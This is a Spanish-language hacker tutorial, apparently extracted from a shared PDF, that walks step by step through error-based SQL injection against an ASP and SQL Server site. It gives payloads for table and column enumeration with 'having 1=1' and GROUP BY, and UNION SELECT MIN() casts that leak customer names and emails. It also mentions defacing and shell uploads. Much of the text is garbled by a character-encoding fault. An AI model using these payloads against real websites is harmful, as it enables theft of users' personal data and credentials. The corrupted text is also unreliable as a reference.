Está en la página 1de 5

SQL Injection: Introduccin al mtodo del error

Por Vengador de las Sombras


0x00 Prefacio
El objetivo de este documento s !ue "a# varios rulando $or internet muc"o mejores !ue ste% $ero
!uer&a a$ortar mi granito de arena' es iniciarse en las in#ecciones SQL a travs de variables de ti$o
(E)* La idea me "a surgido al em$e+ar a introducir a Plaga al divertido mundo de las
vulnerabilidad es*
)ras leerse # a$render lo !ue se va a ex$oner en este $e!ue,o tutorial-manual $odreis manejaros un
$oco m.s en el uso de las SQL Injection% una vulnerabilidad !ue cada d&a se extiende m.s* /osotros
nos vamos a basar en usar el mtodo de ir $robando # obteniendo errores% de los cuales sacaremos
informacin jugosa*
0aste decir !ue no encontrareis en este tutorial ninguna 1in#eccin1 m.gica% ni nada de "acer
a$rovec"arse en "acer defacing% 2nicamente vamos a estudiar cmo sacar informacin esta
informacin $uede ser $or ejem$lo n2meros de telefono% contrase,as # usuarios% etc'* Es m.s% $ara
!ue realmetne veais !ue no va a ser un tutorial de 13ac4ea una 5eb con SQL injection en 6 $asos1
la info !ue vamos a sacar va a ser los correos asociados a unos usuarios*
0x07 Primeros $asos: Sacando la tabla
0ien% $ara em$e+ar necesitamos encontrar alguna 5eb !ue $otencialmente $udiera no lo sabemos
todav&a' tener alg2n scri$t del ti$o 1noticias*as$8I9:1% 1art&culos*$"$8vie5:1 vulnerable* ;omo
coment <aes<aes en una ocasin 1Si ves =SP $iensa en SQL1% # bien es cierto !ue son bastante
$ro$ensas a estos ata!ues% su$ongo !ue ser. $or cul$a de los <eb>asters****
Consejo: Como ya le coment en privado a Plaga, es recomendable tener un block de notas abierto
para ir escribiendo los resultados de las inyecciones, ya que a la hora de construir PoC o trabajar
con la info extraida, viene bastante bien tener todo organizado
;omo iba diciendo al inicio% la in#eccin la introducimos en variables de ti$o (E)* ?Qu son estas
variables8 @esumiendo mu# muc"o no me $egueis $or ello A9' $odemos decir !ue son a!uellas
variables !ue se introducen a travs de la B@L*
Vamos a utili+ar un ejem$lo imaginario* Estamos viendo una 5eb% # nos encontramos con un lin4
ti$o 1
Para ver este enlace Registrate o Inicia Sesion
555*$aginafals a*com-index*as$8$rofile:CD
1* Para com$robar si es vulnerable comen+amos $or $oner'* ;on E indicamos la finali+acin de una
sentencia SQL* /uestro cdigo malicioso ser. ' having 1=1--* El 1FF1 sirve $ara !ue sean ignoradas
todas las sentecias !ue venga detr.s% e!uivale al 1G1 en $erl o al --% -H% etc de otros lenguajes* En el
caso del ejem$lo imaginario% nos deber&a de 1vomitar1 la 5eb un error del estilo de:
;itar
>icrosoft ILE 90 Provider for I90; 9rivers error EJ00C0e7CE
K>icrosoftLKI90; SQL Server 9riverLKSQL ServerLLa columna E9atos*IdE de la lista de seleccin
no es v.lida% $or!ue no est. contenida en una funcin de agregado # no "a# cl.usula (@IBP 0M*
9:N<=93II07N)76N**-sistema-include0*as$% l&nea C
<)O8P8PP8P8 Que co,o es eso888* 0ien no os alarmais% de a!u& lo 2nico !ue nos interesa es
Datos.Id* 19atos1 es el nombre de la tabla en la !ue estamos o$erando% # 1Id1 es el nombre del
cam$o* Ser&a aconsejable "ec"ar un $e!ue,o vista+o a alg2n manual de manejo de 90s $ara
com$render su estructura* En estos cam$os ser. donde se encuentre contenida la informacin !ue
maneja la 90 de la 5eb !ue estamos 1atacando1* ="ora im$rescindible agarrar el note$ad Mo
usar el !ue me "i+o >ace <indu :lool:' # $onen 1/I>0@E )=0L=: 9atos1 # des$ues en otra
l&nea 1;am$os: 7Q Id1*
Le $onesmos 17Q1 $or!ue los cam$os se encuentran ordenados dentro de la 90 # ste orden es
im$rescindible a la "ora de construir las sentencias*
0x0R Sacando los cam$os de la tabla
="ora si reco$ilamos la informacin !ue deber&amos de tener en nuestro note$ad% $odemos ver !ue
#a tenemos el nombre de la tabla 9atos' # el $rimero cam$o Id'* Pero bien% a"ora necesitamos
sacar el resto de cam$os !ue com$onen la tabla 9atos* ?Para !u8 Pues $ara conocer la estructura
sobre la !ue estamos trabajando% #a !ue $osteriores in#ecciones necesitar.n basarse en la info !ue
va#amos obteniendo% a $arte% el nombre de los cam$os nos dar.n una $ista sobre donde $uede "aber
la informacin !ue andamos buscando una tabla !ue se llame $ass5ords% tiene un alt&simo% de un
SJT% de !ue contenga $ass5ords% # si encima "a# otra columna con users% el trabajo lo tienes
servido'*
Para $oder ir sacando los cam$os en orden% nos valdremos de la siguiente in#eccin:
' GROUP BY Tala.1! ca"#o having 1=1--
;ambiando los datos en amarillo $or los de nuestro caso* En nuestro ejem$lo% la in#eccin se
montar&a as&:
' GROUP BY Datos.Id having 1=1--
?# !u es lo !ue nos vomita la 5eb8
;itar
>icrosoft ILE 90 Provider for I90; 9rivers error EJ00C0e7CE
K>icrosoftLKI90; SQL Server 9riverLKSQL ServerLLa columna E9atos*clientesE de la lista de
seleccin no es v.lida% $or!ue no est. contenida en una funcin de agregado ni en la cl.usula
(@IBP 0M*
9:N<=93II07N)76N**-sistema-include0*as$% l&nea C
0ien% #a tenemos el RQ cam$o: 1clientes1* Pero% ?como seguimos extra#endo informacin8
=,adiendo mediante una 1$1 el nuevo cam$o descubierto% as& la in#eccin nos dar. el siguiente
cam$o% !uedando algo as&:
' GROUP BY Datos.Id$clientes having 1=1--
M a"ora nos devuelve la 5eb:
;itar
>icrosoft ILE 90 Provider for I90; 9rivers error EJ00C0e7CE
K>icrosoftLKI90; SQL Server 9riverLKSQL ServerLLa columna E9atos*correoE de la lista de
seleccin no es v.lida% $or!ue no est. contenida en una funcin de agregado ni en la cl.usula
(@IBP 0M*
9:N<=93II07N)76N**-sistema-include0*as$% l&nea C
0ien% lo mismo de antes% $ero con el tercer cam$o% 1correo1* /o "ace falta deciros !ue toda esta
info de los cam$os debe de ser guardada en nuestro note$ad*
="ora% tenemos !ue ir $oniendo la misma in#eccin% 2nicamente con la adicin de una nueva 1%1 #
del cam$o !eu descubrimos "asta !ue nos salga algo ti$o:
;itar
>icrosoft ILE 90 Provider for I90; 9rivers error EJ00C0e7CE
K>icrosoftLKI90; SQL Server 9riverLKSQL ServerLEl $refijo de columna E9atosE no coincide con
un nombre de tabla o con un alias usado en la consulta*
9:N<=93II07N)76N**-sistema-include0*as$% l&nea RC
Esto es el indicativo de !ue #a no "a# m.s cam$os% $or lo tanto #a sabemos !ue: la tabla se llama
19atos1% tiene tres cam$os !ue son Id% clientes # correo* En nuestro caso% como #a les coment al
inicio del tutorial% vamos a trabajar con los cam$os clientes # correo*
0x0U >ostrando el contenido de los cam$os
Ma tenemos los cam$os !ue nos "ac&an falta # !ue contiene la informacion !ue andabamos
buscando% $ero a"ora nos "ace falta 1ver1 esa informacin* ="ora es cuando entra en juego el uso
de sentencias E B/II/ SELE;)* Para $oder usarlo% necesitaremos facilitar el mismo n2mero de
cam$os !ue tiene la tabla% $ara ello usaremos 171*
Lo !ue "aremos ser. $rimero encontrar un valor en el cam$o 1clientes1 # des$us encontrar su
correo corres$ondient e* Para ello nos deberemos de basar en la ingerinier&a social% #o $or ejem$lo
vo# a buscar el $rimer nombre !ue em$iece $or V* Entonces monto la in#eccin de esta forma:
' U%IO% S&'&(T )I%*(a"#o+$1$1$1,- tantos .1. co"o ca"#os -, /RO) Tala 01&R&
ca"#o 2 '3'--
;on esto nos devolver. el $rimer nombre !ue em$iece $or 1j1* El error !ue nos devuelve el
contenido es devido a !ue la variable est. cofigurada como de ti$o 1varc"ar1 # al ser una letra con
lo !ue o$eramos% la funcin 1min'1 sufre un error de sintaxis* >i in#eccion es esta:
' U%IO% S&'&(T )I%*clientes+$1$1 /RO) Datos 01&R& cleintes 2 '3'--
M me devuelve la 5eb:
;itar
>icrosoft ILE 90 Provider for I90; 9rivers error EJ00C0e0DE
K>icrosoftL KI90; SQL Server 9riverL KSQL ServerLError de Sintaxis al convertir el valor varc"ar
1Vuanito1 a una columna de datos ti$o int*
9:N<=93II07N)76N**-sistema-include0*as$% l&nea RC
VIIVIIVIVI "a# un cliente !ue se llama Vuanito jejejeje* Veamos su correo:
' U%IO% S&'&(T )I%*correo+$1$1 /RO) Datos 01&R& clientes = '45anito'--
M el resultado es***
;itar
>icrosoft ILE 90 Provider for I90; 9rivers error EJ00C0e0DE
K>icrosoftL KI90; SQL Server 9riverL KSQL ServerLError de Sintaxis al convertir el valor varc"ar
1 "eW=rgeniverso3=c4*com1XVuanitoYdeYnoc "eW=rgeniverso3=c4*com1 a una columna de
datos ti$o int*
9:N<=93II07N)76N**-sistema-include0*as$% l&nea RC
Pues #a tenemos nuestros datos el cliente 1juanito1 tiene un correo !ue es
"eW=rgeniverso3=c4*com1XVuanitoYdeYnoc "eW=rgeniverso3=c4*com* ="ora trans$oratar estos
conocimientos a un login% con user # $ass5ord *
0x0C ;onclusin
Es$ero !ue este tutorial corto "a#a sido ameno # entendible% # !ue os sea de utilidad* El mundo de
las in#ecciones SQL es mu# am$lio% de "ec"o se $uede defacear directamente% actuali+ando tablas
con la sentencia 1u$date1% tambien se $ueden subir s"ells% ejecutar comandos% etc*** $ero el objetivo
de este documento era meramente introducir a los /<s al uso de las in#ecciones SQL # !ue no
caigan en tendecias lammers # de scri$t 4iddies como in#ectar una in#eccion $redefinida !ue "a
descubierto otra $ersona*
;ual!uier error o comentario acerca del manual% $osteadlo*
0x06 (rUtZ
=gradecimiento s al mari!uita de Lutsc"er grand&simo colega% tambien a "an% <aes<aes% @(0S0%
>ace <indu% c"i$bios% [net% S#ndr0me% P"onix% ;@30/06% /IA # usuarios de =rgeniverso3ac 4
# @emote Execution*
Es$ecial greet+ $ara Plaga% al !ue considero casi como mi "ermano en el under* El manual
originalmente iba a ser $ara el% $ero bueno% lo libero $ara todos A9*
0#tU+

También podría gustarte